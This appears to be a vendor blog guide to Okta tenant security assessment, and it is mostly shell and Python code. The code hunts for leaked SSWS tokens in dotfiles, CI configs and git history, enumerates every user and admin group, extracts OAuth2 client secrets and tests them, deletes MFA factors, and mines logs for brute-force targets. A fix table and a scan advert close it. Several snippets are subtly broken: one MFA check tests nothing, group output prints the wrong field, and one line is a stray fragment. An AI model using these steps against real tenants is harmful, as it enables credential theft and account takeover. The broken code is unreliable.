Okta is the dominant enterprise identity platform, protecting authentication for thousands of SaaS applications. Its security model depends on SSWS API tokens โ long-lived credentials that grant full administrative access to the Okta tenant; these tokens are frequently exposed in CI/CD pipelines, application logs, and environment variable dumps. The Admin API at /api/v1/ returns complete user, group, app, and credential data when authenticated with an SSWS token. The OAuth2 application client secrets stored in Okta are retrievable by tenant admins. System logs expose authentication patterns and user activity. This guide covers systematic Okta tenant security assessment.
Okta SSWS (Session Web Service Secure) tokens are long-lived API credentials with no built-in expiration by default. A single exposed SSWS token grants complete administrative control over the Okta tenant โ user creation, app assignment, policy modification, and MFA resets.
# Okta SSWS token โ validate and enumerate tenant
OKTA_DOMAIN="https://company.okta.com"
SSWS_TOKEN="SSWS_your_token_here"
# Validate token and get org info
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
"${OKTA_DOMAIN}/api/v1/" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Org: {d.get("id")}')
print(f'Status: {d.get("status")}')
print(f'Subdomain: {d.get("subdomain")}')
print(f'Plan: {d.get("edition",{}).get("name")}')
"
# Search environment variables and CI configs for SSWS tokens
grep -rE 'SSWS[a-zA-Z0-9_-]{20,}' ~/.env .env* *.yml *.yaml *.json 2>/dev/null
grep -rE 'okta.*token|OKTA.*TOKEN' ~/.bashrc ~/.zshrc ~/.bash_profile 2>/dev/null
# Search git history for leaked tokens
git log --all -p | grep -E 'SSWS[a-zA-Z0-9_-]{20,}' | head -20
# Check common CI/CD locations
for file in .travis.yml .circleci/config.yml .github/workflows/*.yml Jenkinsfile; do
grep -l 'OKTA\|okta\|SSWS' "$file" 2>/dev/null && grep -E 'SSWS|okta_token' "$file"
done
# List all API tokens in the tenant (requires existing admin access)
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
"${OKTA_DOMAIN}/api/v1/meta/tokens" | python3 -c "
import json,sys
tokens=json.load(sys.stdin)
print(f'Active API tokens: {len(tokens)}')
for t in tokens:
print(f' [{t["id"]}] name={t["name"]} created={t["created"]} lastUsed={t.get("lastUsed","never")}')
print(f' createdBy={t.get("userId")} network={t.get("network",{}).get("connection")}')
"
api/v1/meta/tokens to audit active tokens.
The Okta Admin API at /api/v1/users returns complete user profiles including login, email, name, status, MFA enrollment, and last authentication timestamp. Group membership is similarly enumerable. This data enables targeted phishing, password spraying, and account takeover attempts.
# Enumerate all users in the Okta tenant
OKTA_DOMAIN="https://company.okta.com"
SSWS_TOKEN="SSWS_your_token_here"
# Paginated user enumeration (200 per page)
python3 << 'EOF'
import urllib.request, json, time
domain = "https://company.okta.com"
headers = {"Authorization": "SSWS your_token", "Accept": "application/json"}
url = f"{domain}/api/v1/users?limit=200"
users = []
while url:
req = urllib.request.Request(url, headers=headers)
resp = urllib.request.urlopen(req)
batch = json.loads(resp.read())
users.extend(batch)
# Follow pagination via Link header
link_header = resp.headers.get("Link", "")
next_url = None
for part in link_header.split(","):
if 'rel="next"' in part:
next_url = part.split(";")[0].strip().strip("<>")
url = next_url
time.sleep(0.1)
print(f"Total users: {len(users)}")
for u in users[:20]:
profile = u.get("profile", {})
creds = u.get("credentials", {})
print(f' {profile.get("login")} | status={u["status"]} | mfa={len(creds.get("provider",{}))} | lastLogin={u.get("lastLogin","never")}')
EOF
# Enumerate privileged groups
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
"${OKTA_DOMAIN}/api/v1/groups?q=admin&limit=50" | python3 -c "
import json,sys
groups=json.load(sys.stdin)
for g in groups:
print(f' [{g["id"]}] {g["profile"]["name"]} โ members: {g["objectClass"]}')
"
# Get members of a specific admin group
GROUP_ID="00g1234567890abcdef"
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
"${OKTA_DOMAIN}/api/v1/groups/${GROUP_ID}/users" | python3 -c "
import json,sys
members=json.load(sys.stdin)
print(f'Admin group members: {len(members)}')
for m in members:
p = m.get('profile',{})
print(f' {p.get("login")} | {p.get("firstName")} {p.get("lastName")} | mobile={p.get("mobilePhone")}')
"
# Find users without MFA enrolled (high-value targets)
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
"${OKTA_DOMAIN}/api/v1/users?filter=status+eq+"ACTIVE"&limit=200" | python3 -c "
import json,sys
users=json.load(sys.stdin)
no_mfa=[]
for u in users:
factors_url = u.get('_links',{}).get('self',{}).get('href','')
print('Users without MFA: check /api/v1/users/{userId}/factors for each user')
print(f'Total active users: {len(users)}')
"
Okta stores OAuth2 application client secrets on behalf of tenant-integrated apps. Admin API access allows enumeration of all registered applications, their client IDs and secrets, and their assigned users โ enabling impersonation of any integrated service.
# Extract all OAuth2 application credentials
OKTA_DOMAIN="https://company.okta.com"
SSWS_TOKEN="SSWS_your_token_here"
# List all applications
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
"${OKTA_DOMAIN}/api/v1/apps?limit=200" | python3 -c "
import json,sys
apps=json.load(sys.stdin)
print(f'Applications: {len(apps)}')
for a in apps:
creds = a.get('credentials',{}).get('oauthClient',{})
print(f' [{a["id"]}] {a["label"]} | status={a["status"]} | signOn={a.get("signOnMode")}')
if creds.get('client_id'):
print(f' client_id={creds["client_id"]}')
if creds.get('client_secret'):
print(f' client_secret={creds["client_secret"]} <-- EXPOSED')
"
# Get specific app client secret
APP_ID="0oa1234567890abcdef"
curl -s -H "Authorization: SSWS ${SSWS_TOKEN}" \
"${OKTA_DOMAIN}/api/v1/apps/${APP_ID}/credentials/secrets" | python3 -c "
import json,sys
secrets=json.load(sys.stdin)
for s in secrets:
print(f'secret_id={s["id"]} status={s["status"]} created={s["created"]}')
if 'clientSecret' in s:
print(f'CLIENT SECRET: {s["clientSecret"]}')
"
# Test client credentials grant with extracted secret
CLIENT_ID="extracted_client_id"
CLIENT_SECRET="extracted_client_secret"
curl -s -X POST "${OKTA_DOMAIN}/oauth2/default/v1/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=client_credentials&client_id=${CLIENT_ID}&client_secret=${CLIENT_SECRET}&scope=openid"
# Reset user MFA (demonstrates admin capability)
USER_ID="00u1234567890abcdef"
FACTOR_ID="mfa1234567890abcdef"
curl -s -X DELETE \
-H "Authorization: SSWS ${SSWS_TOKEN}" \
"${OKTA_DOMAIN}/api/v1/users/${USER_ID}/factors/${FACTOR_ID}"
echo "MFA factor deleted โ user can re-enroll without verification"
The Okta System Log records every authentication event, MFA challenge, app access attempt, and admin action. With SSWS token access, this log provides a complete map of authentication patterns, service account usage, and anomalous access attempts.
# Okta system log โ authentication intelligence gathering
OKTA_DOMAIN="https://company.okta.com"
SSWS_TOKEN="SSWS_your_token_here"
# Recent authentication events (last 24 hours)
curl -s -G -H "Authorization: SSWS ${SSWS_TOKEN}" \
"${OKTA_DOMAIN}/api/v1/logs" \
--data-urlencode "filter=eventType eq "user.session.start"" \
--data-urlencode "since=2026-07-04T00:00:00Z" \
--data-urlencode "limit=100" | python3 -c "
import json,sys
events=json.load(sys.stdin)
print(f'Login events: {len(events)}')
for e in events[:10]:
actor = e.get('actor',{})
client = e.get('client',{})
outcome = e.get('outcome',{}).get('result','')
print(f' {actor.get("displayName")} | {client.get("ipAddress")} | {client.get("geographicalContext",{}).get("country")} | {outcome}')
"
# Find failed MFA attempts (potential brute-force targets)
curl -s -G -H "Authorization: SSWS ${SSWS_TOKEN}" \
"${OKTA_DOMAIN}/api/v1/logs" \
--data-urlencode "filter=eventType eq "user.authentication.auth_via_mfa" and outcome.result eq "FAILURE"" \
--data-urlencode "limit=50" | python3 -c "
import json,sys
events=json.load(sys.stdin)
from collections import Counter
targets = Counter(e.get('actor',{}).get('displayName','') for e in events)
print('Most-failed MFA accounts:')
for user, count in targets.most_common(10):
print(f' {user}: {count} failures')
"
# Admin actions audit โ who changed what
curl -s -G -H "Authorization: SSWS ${SSWS_TOKEN}" \
"${OKTA_DOMAIN}/api/v1/logs" \
--data-urlencode "filter=eventType sw "system.api_token"" \
--data-urlencode "limit=20" | python3 -c "
import json,sys
events=json.load(sys.stdin)
for e in events:
print(f' {e["published"]} | {e["eventType"]} | actor={e.get("actor",{}).get("displayName")}')
"
Ironimo can scan your Okta tenant for exposed SSWS tokens, over-privileged API credentials, OAuth2 app secret exposure, and authentication configuration weaknesses โ covering the full identity attack surface.
Start free scan| Issue | Default State | Fix |
|---|---|---|
| SSWS token expiration | No expiration by default | Set token expiration in Admin Console โ Security โ API โ Tokens; rotate tokens every 90 days |
| API token scope | Full admin access | Use OAuth2 for API access with scoped tokens; restrict SSWS tokens to read-only where possible |
| User enumeration via API | All users accessible | Require IP allowlisting on Admin API; use Okta ThreatInsight to flag enumeration patterns |
| MFA reset without verification | Admin can reset any factor | Require step-up authentication for MFA resets; alert on factor deletion events in System Log |
| OAuth2 client secret exposure | Admin can read all secrets | Rotate client secrets regularly; use mTLS instead of client_secret for service-to-service auth |
| System log access | Any admin token reads all logs | Restrict log access to dedicated security roles; export logs to SIEM with immutable retention |